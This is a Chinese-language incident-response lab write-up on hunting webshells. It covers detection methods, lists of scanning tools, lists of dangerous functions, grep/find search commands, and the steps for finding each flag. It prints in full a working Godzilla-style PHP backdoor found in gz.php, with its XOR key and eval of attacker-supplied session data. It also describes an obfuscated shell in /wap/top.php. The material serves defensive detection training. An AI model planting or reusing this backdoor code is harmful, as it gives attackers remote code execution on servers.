1.常规后门查杀

1.1手动查杀webshell

静态检测:可以查找一些特殊后缀结尾的文件。例如:.asp、.php、.jsp、.aspx;再从这类文件中查找后门的特征码,特征值,危险函数来查找webshell,例如查找内容含有exec()、eval()、system()的文件

动态检测:webshell执行时刻表现出来的特征,我们称为动态特征。只要我们把webshell特有的HTTP请求/响应做成特征库,加到IDS里面去检测所有的HTTP请求就好了。webshell如果执行系统命令的话,会有进程。Linux下就是起了bash,Win下就是启动cmd,这些都是动态特征

日志检测:使用Webshell一般不会在系统日志中留下记录,但是会在网站的web日志中留下Webshell页面的访问数据和数据提交记录。日志分析检测技术通过大量的日志文件建立请求模型从而检测出异常文件,例如:一个平时是GET的请求突然有了POST请求并且返回代码为200

1.2工具排查

相对于手工排查,工具排查可能更好上手,但是如果想走的更远一些,某些线下的比赛可能会断网,也就说,手工排查的一些基本操作还是要明白的

1、阿里伏魔https://ti.aliyun.com/#/webshell

2、河马https://n.shellpub.com/

3、牧云https://stack.chaitin.com/security-challenge/webshell/index

4、在线webshell查杀-灭绝师太版http://tools.bugscaner.com/killwebshell/

5、D盾 微步在线不做多的赘述

黑客webshell里面的flag

1.可疑函数调用

WebShell通常会使用一些危险的函数来执行系统命令或代码,如:

PHP: eval(), system(), exec(), shell_exec(), passthru(), assert(), base64_decode()

ASP: Execute(), Eval(), CreateObject()

JSP: Runtime.getRuntime().exec()

2.编码和解码

WebShell经常使用编码和解码技术来隐藏其真实意图,如Base64编码:

eval(base64_decode('encoded_string'));

3.文件操作

  • WebShell可能会包含文件操作函数,用于读取、写入或修改文件:
  • PHP: fopen(), fwrite(), file_get_contents(), file_put_contents()
  • ASP: FileSystemObject

4.网络操作

  • WebShell可能会包含网络操作函数,用于与远程服务器通信:
  • PHP: fsockopen(), curl_exec(), file_get_contents('http://...')
  • ASP: WinHttp.WinHttpRequest

5.操作命令

//搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec(" 
find ./ type f -name "*.php" | xargs grep "eval(" 
find ./ type f -name "*.asp" | xargs grep "execute(" 
find ./ type f -name "*.aspx" | xargs grep "eval(" 
 
//对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode" 
//xargs:xargs命令用于将输入数据重新格式化后作为参数传递给其他命令。在这个命令中,xargs将find命令找到的文件列表作为参数传递给grep命令。
//grep "eval(":grep命令用于搜索文本,并输出匹配的行。这里"eval("是grep命令的搜索模式,用于查找包含eval(字符串的行。

在靶场内可输入以上命令进行尝试

以上可见出现三个shell恶意文件,进行逐步排查 其中shell.php文件没啥内容 逐步向其他的文件进行摸排

在gz.php文件内发现了可疑 代码如下

<?php
@session_start();//启动会话
@set_time_limit(0);//设置脚本执行时间限制为无限制
@error_reporting(0);//关闭错误报告
function encode($D,$K){  //定义了一个名为 encode 的函数,它接受两个参数 $D 和 $K。这个函数看起来像是一个简单的异或编码函数,用于对数据进行加密或解密。它使用 $K 作为密钥,对 $D 中的每个字符进行异或操作
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
        eval($payload);//如果 $payload 变量包含 "getBasicsInfo" 字符串,则执行 $payload 变量中的 PHP 代码
        echo encode(@run($data),$key);//如果 $data 包含 "getBasicsInfo" 字符串,则执行 @run($data) 函数,并将结果编码后输出
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}
//这段代码的目的是接收通过 php://input 流发送的数据,对其进行编码,并根据会话变量中的内容执行特定的 PHP 代码。这通常用于隐藏恶意代码或后门,使得攻击者可以通过特定的请求触发执行

根据以上对于该php文件分析,得出符合哥斯拉webshell特征且得出flag1 2

关于第三条的flag查找 线索指出是隐藏文件ls等命令无法找出 需搭配ls -la即可 以及第一次find命令查询结果可以看到存在一个隐藏的文件.Mysqli.php;使用pwd获取绝对路径进行md5转换即可得出flag3

flag4 提示免杀那么已经经过特殊处理和混淆 静态检测无法正常进行检测 但是因为webshell执行会在网站日志留下记录 所以去查看网站日志

access.log

通过对比时间点、状态码、请求路径进行多方面判断 并进入相关路径判断文件/wap/top.php

使用Base64编码和字符异或操作来混淆代码。这些技术通常用于隐藏恶意代码,避免被直接检测到

动态生成并调用函数。这种模式允许攻击者通过URL参数传递任意代码并在服务器上执行,具有极大的危险性

使用$_GET参数来控制代码行为。通过外部输入来决定代码逻辑,使得攻击者可以远程控制服务器,执行任意PHP代码